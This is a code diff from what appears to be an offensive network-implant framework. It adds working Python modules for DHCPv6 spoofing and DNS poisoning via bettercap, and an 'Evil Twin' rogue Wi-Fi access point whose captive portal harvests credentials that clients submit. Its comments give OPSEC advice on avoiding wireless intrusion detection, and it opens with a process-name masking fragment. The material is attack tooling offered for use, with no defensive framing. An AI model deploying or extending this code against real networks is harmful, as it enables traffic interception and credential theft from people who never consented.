libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return _preexec
|
||||||
@@ -0,0 +1,151 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap.
|
||||||
|
|
||||||
|
Uses bettercap's dhcp6.spoof module to win DHCP races and inject
|
||||||
|
a rogue DNS server (the implant) into client configurations.
|
||||||
|
This enables DNS-based MITM without ARP spoofing.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.active.dhcp_spoof")
|
||||||
|
|
||||||
|
|
||||||
|
class DHCPSpoof(BaseModule):
|
||||||
|
"""DHCP spoofing via bettercap dhcp6.spoof.
|
||||||
|
|
||||||
|
Sets up a rogue DHCPv6 server that responds to DHCP requests,
|
||||||
|
injecting the implant as the DNS server. Combined with DNS
|
||||||
|
poisoning, this provides full MITM without ARP cache manipulation.
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- bettercap_mgr must be running.
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
dns_server: DNS server IP to inject (default: implant IP)
|
||||||
|
gateway: Gateway IP to advertise
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "dhcp_spoof"
|
||||||
|
module_type = "active"
|
||||||
|
priority = 200
|
||||||
|
requires_root = True
|
||||||
|
dependencies = ["bettercap_mgr"]
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._bettercap_mgr = None
|
||||||
|
self._spoofing = False
|
||||||
|
self._dns_server: Optional[str] = None
|
||||||
|
self._gateway: Optional[str] = None
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||||
|
if not self._bettercap_mgr:
|
||||||
|
logger.error("DHCPSpoof requires bettercap_mgr reference in config")
|
||||||
|
return
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||||
|
logger.info("DHCPSpoof module started (ready for spoof commands)")
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
if self._spoofing:
|
||||||
|
self.stop_spoof()
|
||||||
|
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("DHCPSpoof module stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"spoofing": self._spoofing,
|
||||||
|
"dns_server": self._dns_server,
|
||||||
|
"gateway": self._gateway,
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def spoof(self, dns_server: str, gateway: str) -> bool:
|
||||||
|
"""Enable DHCP spoofing with rogue DNS server.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
dns_server: IP to inject as DNS server (typically the implant IP).
|
||||||
|
gateway: Gateway IP to advertise in DHCP responses.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if DHCP spoofing was enabled.
|
||||||
|
"""
|
||||||
|
if not self._running or not self._bettercap_mgr:
|
||||||
|
logger.error("DHCPSpoof not started")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Configure dhcp6.spoof parameters
|
||||||
|
self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *")
|
||||||
|
self._bettercap_mgr.run_command("dhcp6.spoof on")
|
||||||
|
|
||||||
|
self._spoofing = True
|
||||||
|
self._dns_server = dns_server
|
||||||
|
self._gateway = gateway
|
||||||
|
|
||||||
|
self.state.set(self.name, "dns_server", dns_server)
|
||||||
|
self.state.set(self.name, "gateway", gateway)
|
||||||
|
logger.info(
|
||||||
|
"DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to enable DHCP spoofing")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def stop_spoof(self) -> bool:
|
||||||
|
"""Disable DHCP spoofing.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if DHCP spoofing was stopped.
|
||||||
|
"""
|
||||||
|
if not self._bettercap_mgr:
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._bettercap_mgr.run_command("dhcp6.spoof off")
|
||||||
|
self._spoofing = False
|
||||||
|
self._dns_server = None
|
||||||
|
self._gateway = None
|
||||||
|
|
||||||
|
self.state.set(self.name, "dns_server", "")
|
||||||
|
self.state.set(self.name, "gateway", "")
|
||||||
|
logger.info("DHCP spoofing disabled")
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to disable DHCP spoofing")
|
||||||
|
return False
|
||||||
@@ -0,0 +1,201 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.
|
||||||
|
|
||||||
|
Template-driven zone files are converted to bettercap dns.spoof.domains
|
||||||
|
format. Supports selective domain redirection and wildcard matching.
|
||||||
|
Zone templates live in templates/dns_zones/.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.active.dns_poison")
|
||||||
|
|
||||||
|
|
||||||
|
class DNSPoison(BaseModule):
|
||||||
|
"""DNS poisoning via bettercap dns.spoof module.
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- bettercap_mgr must be running.
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
|
||||||
|
target_ip: IP to redirect poisoned domains to (default: implant IP)
|
||||||
|
zone_file: Path to zone template for selective redirection
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "dns_poison"
|
||||||
|
module_type = "active"
|
||||||
|
priority = 200
|
||||||
|
requires_root = True
|
||||||
|
dependencies = ["bettercap_mgr"]
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._bettercap_mgr = None
|
||||||
|
self._poisoning = False
|
||||||
|
self._domains: Optional[str] = None
|
||||||
|
self._target_ip: Optional[str] = None
|
||||||
|
self._zone_dir = config.get(
|
||||||
|
"zone_dir",
|
||||||
|
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
|
||||||
|
)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||||
|
if not self._bettercap_mgr:
|
||||||
|
logger.error("DNSPoison requires bettercap_mgr reference in config")
|
||||||
|
return
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||||
|
logger.info("DNSPoison module started (ready for poison commands)")
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
if self._poisoning:
|
||||||
|
self.stop_poison()
|
||||||
|
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("DNSPoison module stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"poisoning": self._poisoning,
|
||||||
|
"domains": self._domains,
|
||||||
|
"target_ip": self._target_ip,
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def poison(self, domains: str, target_ip: str) -> bool:
|
||||||
|
"""Enable DNS poisoning for specified domains.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
domains: Comma-separated domains or wildcards
|
||||||
|
(e.g., "*.corp.local,login.example.com").
|
||||||
|
target_ip: IP address to redirect poisoned domains to.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if DNS poisoning was enabled successfully.
|
||||||
|
"""
|
||||||
|
if not self._running or not self._bettercap_mgr:
|
||||||
|
logger.error("DNSPoison not started")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
|
||||||
|
self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
|
||||||
|
self._bettercap_mgr.run_command("dns.spoof on")
|
||||||
|
|
||||||
|
self._poisoning = True
|
||||||
|
self._domains = domains
|
||||||
|
self._target_ip = target_ip
|
||||||
|
|
||||||
|
self.state.set(self.name, "domains", domains)
|
||||||
|
self.state.set(self.name, "target_ip", target_ip)
|
||||||
|
logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to enable DNS poisoning")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def load_zone(self, zone_file: str) -> bool:
|
||||||
|
"""Load a zone template and apply DNS poisoning rules.
|
||||||
|
|
||||||
|
Zone file format (one entry per line):
|
||||||
|
domain.com 10.0.0.0
|
||||||
|
*.corp.local 10.0.0.0
|
||||||
|
# comments ignored
|
||||||
|
|
||||||
|
Args:
|
||||||
|
zone_file: Filename within the zone_dir (e.g., "selective.zone").
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if zone was loaded and applied.
|
||||||
|
"""
|
||||||
|
zone_path = os.path.join(self._zone_dir, zone_file)
|
||||||
|
if not os.path.isfile(zone_path):
|
||||||
|
logger.error("Zone file not found: %s", zone_path)
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
domains = []
|
||||||
|
target_ip = None
|
||||||
|
|
||||||
|
with open(zone_path, "r") as f:
|
||||||
|
for line in f:
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line.startswith("#"):
|
||||||
|
continue
|
||||||
|
parts = line.split()
|
||||||
|
if len(parts) >= 2:
|
||||||
|
domains.append(parts[0])
|
||||||
|
# Use the last IP seen as target
|
||||||
|
target_ip = parts[1]
|
||||||
|
elif len(parts) == 1:
|
||||||
|
domains.append(parts[0])
|
||||||
|
|
||||||
|
if not domains:
|
||||||
|
logger.warning("Zone file %s contains no entries", zone_file)
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not target_ip:
|
||||||
|
target_ip = self.config.get("implant_ip", "127.0.0.1")
|
||||||
|
|
||||||
|
return self.poison(",".join(domains), target_ip)
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to load zone file: %s", zone_file)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def stop_poison(self) -> bool:
|
||||||
|
"""Disable DNS poisoning.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if DNS poisoning was stopped successfully.
|
||||||
|
"""
|
||||||
|
if not self._bettercap_mgr:
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._bettercap_mgr.run_command("dns.spoof off")
|
||||||
|
self._poisoning = False
|
||||||
|
self._domains = None
|
||||||
|
self._target_ip = None
|
||||||
|
|
||||||
|
self.state.set(self.name, "domains", "")
|
||||||
|
self.state.set(self.name, "target_ip", "")
|
||||||
|
logger.info("DNS poisoning disabled")
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to disable DNS poisoning")
|
||||||
|
return False
|
||||||
@@ -0,0 +1,553 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
|
||||||
|
|
||||||
|
Creates a wireless access point matching a target SSID, combined with
|
||||||
|
a captive portal served via a lightweight HTTP server. dnsmasq provides
|
||||||
|
DHCP and DNS for connected clients, redirecting all DNS to the portal.
|
||||||
|
|
||||||
|
OPSEC: Run wireless_intel module for 2-hour observation before activation
|
||||||
|
to detect WIDS/WIPS and understand target AP parameters.
|
||||||
|
|
||||||
|
Resources: ~30MB RAM, ~5% CPU
|
||||||
|
"""
|
||||||
|
|
||||||
|
import http.server
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import signal
|
||||||
|
import socketserver
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.active.evil_twin")
|
||||||
|
|
||||||
|
# Default dnsmasq config for captive portal
|
||||||
|
DNSMASQ_CONF_TEMPLATE = """interface={iface}
|
||||||
|
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
|
||||||
|
dhcp-option=3,{gateway}
|
||||||
|
dhcp-option=6,{gateway}
|
||||||
|
address=/#/{gateway}
|
||||||
|
no-resolv
|
||||||
|
log-queries
|
||||||
|
log-facility=/tmp/bb-dnsmasq.log
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
|
||||||
|
"""HTTP handler for the captive portal.
|
||||||
|
|
||||||
|
Serves the portal HTML for GET requests and captures POST data
|
||||||
|
(credentials) from login forms.
|
||||||
|
"""
|
||||||
|
|
||||||
|
portal_html = ""
|
||||||
|
credential_callback = None
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header("Content-Type", "text/html")
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(self.portal_html.encode("utf-8"))
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
content_length = int(self.headers.get("Content-Length", 0))
|
||||||
|
post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
|
||||||
|
|
||||||
|
if self.credential_callback:
|
||||||
|
self.credential_callback(self.client_address[0], post_data)
|
||||||
|
|
||||||
|
# Redirect to a "success" page after capture
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header("Content-Type", "text/html")
|
||||||
|
self.end_headers()
|
||||||
|
success_html = (
|
||||||
|
"<html><body><h2>Connecting...</h2>"
|
||||||
|
"<p>Please wait while we verify your credentials.</p>"
|
||||||
|
"<script>setTimeout(function(){window.location='/'},5000);</script>"
|
||||||
|
"</body></html>"
|
||||||
|
)
|
||||||
|
self.wfile.write(success_html.encode("utf-8"))
|
||||||
|
|
||||||
|
def log_message(self, format, *args):
|
||||||
|
"""Suppress default HTTP logging to avoid console noise."""
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class EvilTwin(BaseModule):
|
||||||
|
"""Evil Twin AP with captive portal credential harvesting.
|
||||||
|
|
||||||
|
Creates a rogue AP matching a target SSID using hostapd, serves a
|
||||||
|
captive portal, and captures credentials from connecting clients.
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- hostapd (system package)
|
||||||
|
- dnsmasq (system package)
|
||||||
|
- Wireless interface capable of AP mode
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
|
||||||
|
portal_dir: Path to captive portal HTML templates
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "evil_twin"
|
||||||
|
module_type = "active"
|
||||||
|
priority = 200
|
||||||
|
requires_root = True
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._hostapd_proc: Optional[subprocess.Popen] = None
|
||||||
|
self._dnsmasq_proc: Optional[subprocess.Popen] = None
|
||||||
|
self._portal_thread: Optional[threading.Thread] = None
|
||||||
|
self._portal_server: Optional[socketserver.TCPServer] = None
|
||||||
|
self._wifi_iface = config.get("wifi_iface", "wlan0")
|
||||||
|
self._ap_active = False
|
||||||
|
self._ssid: Optional[str] = None
|
||||||
|
self._channel = 6
|
||||||
|
self._portal_template: Optional[str] = None
|
||||||
|
self._clients: list = []
|
||||||
|
self._clients_lock = threading.Lock()
|
||||||
|
self._captured_creds: list = []
|
||||||
|
self._creds_lock = threading.Lock()
|
||||||
|
self._portal_port = config.get("portal_port", 80)
|
||||||
|
self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
|
||||||
|
self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
|
||||||
|
self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
|
||||||
|
self._template_dir = config.get(
|
||||||
|
"portal_dir",
|
||||||
|
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
|
||||||
|
)
|
||||||
|
self._hostapd_template_dir = config.get(
|
||||||
|
"hostapd_template_dir",
|
||||||
|
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
|
||||||
|
)
|
||||||
|
self._tmp_dir = "/tmp/bb-evil-twin"
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
|
||||||
|
Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||||
|
logger.info("EvilTwin module started (ready for AP creation)")
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
if self._ap_active:
|
||||||
|
self.stop_ap()
|
||||||
|
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("EvilTwin module stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"ap_active": self._ap_active,
|
||||||
|
"ssid": self._ssid,
|
||||||
|
"channel": self._channel,
|
||||||
|
"interface": self._wifi_iface,
|
||||||
|
"client_count": len(self._clients),
|
||||||
|
"captured_creds": len(self._captured_creds),
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
if "wifi_iface" in config:
|
||||||
|
self._wifi_iface = config["wifi_iface"]
|
||||||
|
if "portal_port" in config:
|
||||||
|
self._portal_port = config["portal_port"]
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def create_ap(self, ssid: str, channel: int = 6,
|
||||||
|
portal_template: str = "corporate_login.html") -> bool:
|
||||||
|
"""Create evil twin AP with captive portal.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
ssid: Target SSID to clone.
|
||||||
|
channel: WiFi channel (default 6).
|
||||||
|
portal_template: Filename of HTML portal template.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if AP was created successfully.
|
||||||
|
"""
|
||||||
|
if not self._running:
|
||||||
|
logger.error("EvilTwin not started")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if self._ap_active:
|
||||||
|
logger.warning("AP already active — stop it first")
|
||||||
|
return False
|
||||||
|
|
||||||
|
self._ssid = ssid
|
||||||
|
self._channel = channel
|
||||||
|
self._portal_template = portal_template
|
||||||
|
|
||||||
|
# Write hostapd config
|
||||||
|
hostapd_conf = self._generate_hostapd_config(ssid, channel)
|
||||||
|
hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
|
||||||
|
with open(hostapd_conf_path, "w") as f:
|
||||||
|
f.write(hostapd_conf)
|
||||||
|
|
||||||
|
# Configure wireless interface
|
||||||
|
if not self._setup_interface():
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Start hostapd
|
||||||
|
if not self._start_hostapd(hostapd_conf_path):
|
||||||
|
self._teardown_interface()
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Write and start dnsmasq
|
||||||
|
dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
|
||||||
|
iface=self._wifi_iface,
|
||||||
|
dhcp_start=self._dhcp_start,
|
||||||
|
dhcp_end=self._dhcp_end,
|
||||||
|
gateway=self._gateway_ip,
|
||||||
|
)
|
||||||
|
dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
|
||||||
|
with open(dnsmasq_conf_path, "w") as f:
|
||||||
|
f.write(dnsmasq_conf)
|
||||||
|
|
||||||
|
if not self._start_dnsmasq(dnsmasq_conf_path):
|
||||||
|
self._stop_hostapd()
|
||||||
|
self._teardown_interface()
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Configure iptables for captive portal redirect
|
||||||
|
self._setup_iptables()
|
||||||
|
|
||||||
|
# Start captive portal HTTP server
|
||||||
|
self._start_portal(portal_template)
|
||||||
|
|
||||||
|
self._ap_active = True
|
||||||
|
self.state.set(self.name, "ssid", ssid)
|
||||||
|
self.state.set(self.name, "channel", str(channel))
|
||||||
|
logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
|
||||||
|
ssid, channel, portal_template)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def stop_ap(self) -> bool:
|
||||||
|
"""Stop the evil twin AP and clean up.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if AP was stopped successfully.
|
||||||
|
"""
|
||||||
|
logger.info("Stopping Evil Twin AP...")
|
||||||
|
|
||||||
|
# Stop portal server
|
||||||
|
self._stop_portal()
|
||||||
|
|
||||||
|
# Remove iptables rules
|
||||||
|
self._teardown_iptables()
|
||||||
|
|
||||||
|
# Stop dnsmasq
|
||||||
|
self._stop_dnsmasq()
|
||||||
|
|
||||||
|
# Stop hostapd
|
||||||
|
self._stop_hostapd()
|
||||||
|
|
||||||
|
# Restore interface
|
||||||
|
self._teardown_interface()
|
||||||
|
|
||||||
|
self._ap_active = False
|
||||||
|
self._ssid = None
|
||||||
|
self.state.set(self.name, "ssid", "")
|
||||||
|
logger.info("Evil Twin AP stopped")
|
||||||
|
return True
|
||||||
|
|
||||||
|
def get_clients(self) -> list:
|
||||||
|
"""Return list of currently connected clients.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of dicts with client MAC and IP.
|
||||||
|
"""
|
||||||
|
# Parse dnsmasq lease file for connected clients
|
||||||
|
lease_file = "/tmp/bb-dnsmasq.leases"
|
||||||
|
clients = []
|
||||||
|
if os.path.isfile(lease_file):
|
||||||
|
try:
|
||||||
|
with open(lease_file, "r") as f:
|
||||||
|
for line in f:
|
||||||
|
parts = line.strip().split()
|
||||||
|
if len(parts) >= 4:
|
||||||
|
clients.append({
|
||||||
|
"mac": parts[1],
|
||||||
|
"ip": parts[2],
|
||||||
|
"hostname": parts[3] if parts[3] != "*" else "",
|
||||||
|
})
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
with self._clients_lock:
|
||||||
|
self._clients = clients
|
||||||
|
return clients
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# hostapd management
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
|
||||||
|
"""Generate hostapd config for open AP."""
|
||||||
|
return (
|
||||||
|
f"interface={self._wifi_iface}\n"
|
||||||
|
f"driver=nl80211\n"
|
||||||
|
f"ssid={ssid}\n"
|
||||||
|
f"hw_mode=g\n"
|
||||||
|
f"channel={channel}\n"
|
||||||
|
f"wmm_enabled=0\n"
|
||||||
|
f"macaddr_acl=0\n"
|
||||||
|
f"auth_algs=1\n"
|
||||||
|
f"ignore_broadcast_ssid=0\n"
|
||||||
|
f"wpa=0\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
def _start_hostapd(self, conf_path: str) -> bool:
|
||||||
|
try:
|
||||||
|
self._hostapd_proc = subprocess.Popen(
|
||||||
|
["hostapd", conf_path],
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE,
|
||||||
|
)
|
||||||
|
time.sleep(2) # Wait for hostapd to initialize
|
||||||
|
if self._hostapd_proc.poll() is not None:
|
||||||
|
stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
|
||||||
|
logger.error("hostapd failed to start: %s", stderr)
|
||||||
|
return False
|
||||||
|
logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
|
||||||
|
return True
|
||||||
|
except FileNotFoundError:
|
||||||
|
logger.error("hostapd not found — install with: apt install hostapd")
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
logger.error("Failed to start hostapd: %s", e)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _stop_hostapd(self) -> None:
|
||||||
|
if self._hostapd_proc and self._hostapd_proc.poll() is None:
|
||||||
|
self._hostapd_proc.terminate()
|
||||||
|
try:
|
||||||
|
self._hostapd_proc.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
self._hostapd_proc.kill()
|
||||||
|
self._hostapd_proc = None
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# dnsmasq management
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _start_dnsmasq(self, conf_path: str) -> bool:
|
||||||
|
try:
|
||||||
|
self._dnsmasq_proc = subprocess.Popen(
|
||||||
|
[
|
||||||
|
"dnsmasq", "-C", conf_path,
|
||||||
|
"--no-daemon",
|
||||||
|
"--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
|
||||||
|
],
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE,
|
||||||
|
)
|
||||||
|
time.sleep(1)
|
||||||
|
if self._dnsmasq_proc.poll() is not None:
|
||||||
|
stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
|
||||||
|
logger.error("dnsmasq failed to start: %s", stderr)
|
||||||
|
return False
|
||||||
|
logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
|
||||||
|
return True
|
||||||
|
except FileNotFoundError:
|
||||||
|
logger.error("dnsmasq not found — install with: apt install dnsmasq")
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
logger.error("Failed to start dnsmasq: %s", e)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _stop_dnsmasq(self) -> None:
|
||||||
|
if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
|
||||||
|
self._dnsmasq_proc.terminate()
|
||||||
|
try:
|
||||||
|
self._dnsmasq_proc.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
self._dnsmasq_proc.kill()
|
||||||
|
self._dnsmasq_proc = None
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Interface management
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _setup_interface(self) -> bool:
|
||||||
|
"""Configure wireless interface for AP mode."""
|
||||||
|
try:
|
||||||
|
# Kill interfering processes
|
||||||
|
subprocess.run(
|
||||||
|
["airmon-ng", "check", "kill"],
|
||||||
|
capture_output=True, timeout=10,
|
||||||
|
)
|
||||||
|
# Set interface up with IP
|
||||||
|
subprocess.run(
|
||||||
|
["ip", "addr", "flush", "dev", self._wifi_iface],
|
||||||
|
capture_output=True, timeout=5,
|
||||||
|
)
|
||||||
|
subprocess.run(
|
||||||
|
["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
|
||||||
|
capture_output=True, timeout=5,
|
||||||
|
)
|
||||||
|
subprocess.run(
|
||||||
|
["ip", "link", "set", self._wifi_iface, "up"],
|
||||||
|
capture_output=True, timeout=5,
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to configure wireless interface")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _teardown_interface(self) -> None:
|
||||||
|
"""Restore wireless interface to managed mode."""
|
||||||
|
try:
|
||||||
|
subprocess.run(
|
||||||
|
["ip", "addr", "flush", "dev", self._wifi_iface],
|
||||||
|
capture_output=True, timeout=5,
|
||||||
|
)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
